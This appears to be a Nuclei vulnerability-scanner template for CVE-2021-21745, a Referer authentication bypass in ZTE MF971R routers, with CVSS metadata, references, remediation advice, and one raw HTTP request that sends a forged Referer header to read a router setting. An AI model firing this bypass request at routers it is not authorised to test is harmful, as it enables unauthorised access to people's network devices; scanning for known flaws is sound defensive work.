ZTE MF971R - Referer authentication bypass

id: CVE-2021-21745

info:
  name: ZTE MF971R - Referer authentication bypass
  author: gy741
  severity: medium
  description: |
    ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould
    use this vulnerability to perform illegal authorization operations by sending a request to the user to click.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the router.
  remediation: |
    Apply the latest firmware update provided by ZTE to fix the authentication bypass vulnerability.
  reference:
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1317
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21745
    - https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1019764
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-21745
    cwe-id: CWE-352
    epss-score: 0.26168
    epss-percentile: 0.96722
    cpe: cpe:2.3:o:zte:mf971r_firmware:v1.0.0b05:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zte
    product: mf971r_firmware
  tags: cve2021,cve,zte,auth-bypass,router

http:
  - raw:
      - |
        GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1
        Host: {{Hostname}}
        Referer: http://interact.sh/127.0.0.1.html

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'psw_fail_num_str":"[0-9]'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100887a67cc1c94cc474e1a368816599bc6702e406d95cb2fd1e52a2c13a002424a022100e9ef90a621e53ed008b5289dd3854af921b52f004fe421a07eff2dd2fe659bce:922c64590222798bb761d5b6d8e72950